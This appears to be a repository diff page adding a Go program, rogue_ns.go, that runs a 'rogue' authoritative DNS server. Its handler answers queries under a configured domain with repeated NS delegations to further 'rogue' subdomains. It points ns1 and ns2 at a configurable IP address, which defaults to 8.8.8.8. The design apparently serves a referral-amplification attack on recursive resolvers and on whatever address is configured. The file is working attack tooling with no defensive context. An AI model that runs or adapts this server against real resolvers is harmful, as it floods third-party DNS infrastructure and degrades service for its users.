summaryrefslogtreecommitdiff
path: root/rogue_ns.go
diff options
context:
space:
mode:
Diffstat (limited to 'rogue_ns.go')
-rw-r--r--rogue_ns.go64
1 files changed, 64 insertions, 0 deletions
diff --git a/rogue_ns.go b/rogue_ns.go
new file mode 100644
index 0000000..b33a701
--- /dev/null
+++ b/rogue_ns.go
@@ -0,0 +1,64 @@
+package main
+
+import (
+ "flag"
+ "net"
+ "strconv"
+ "strings"
+
+ "github.com/miekg/dns"
+)
+
+func rogue_delegation(w dns.ResponseWriter, r *dns.Msg) {
+ m := new(dns.Msg)
+ m.SetReply(r)
+ m.Compress = true
+ m.Authoritative = true
+
+ qname := m.Question[0].Name
+ qtype := m.Question[0].Qtype
+ subdomain := strings.ToLower(strings.Split(qname, ".")[0])
+ if qtype == dns.TypeA {
+ if subdomain == "ns1" || subdomain == "ns2" {
+ resp := &dns.A{
+ Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10},
+ A: net.ParseIP(CONFIG_NS),
+ }
+ m.Answer = append(m.Answer, resp)
+ } else if strings.Contains(subdomain, "rogue") {
+ var ns_target string
+ var resp *dns.NS
+ for i := 0; i < 5; i++ {
+ ns_target = strings.Join([]string{subdomain + strconv.Itoa(i), CONFIG_SLD}, ".")
+ resp = &dns.NS{
+ Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 10},
+ Ns: dns.Fqdn(ns_target),
+ }
+ m.Ns = append(m.Ns, resp)
+ }
+ } else {
+ m.MsgHdr.Rcode = dns.RcodeNameError
+ }
+ } else {
+ m.MsgHdr.Rcode = dns.RcodeNameError
+ }
+ w.WriteMsg(m)
+}
+
+var CONFIG_SLD string
+var CONFIG_NS string
+
+func main() {
+ flag.StringVar(&CONFIG_NS, "ns", "8.8.8.8", "nameserver ip address")
+ flag.StringVar(&CONFIG_SLD, "sld", "", "configure sld for rogue server")
+ flag.Parse()
+ if CONFIG_SLD == "" {
+ panic("Please configure the SLD for the echo dns server!\n")
+ }
+ dns.HandleFunc(dns.Fqdn(CONFIG_SLD), rogue_delegation)
+ server := &dns.Server{Addr: ":53", Net: "udp"}
+ if err := server.ListenAndServe(); err != nil {
+ println("Failed to set up the rogue server")
+ panic(err)
+ }
+}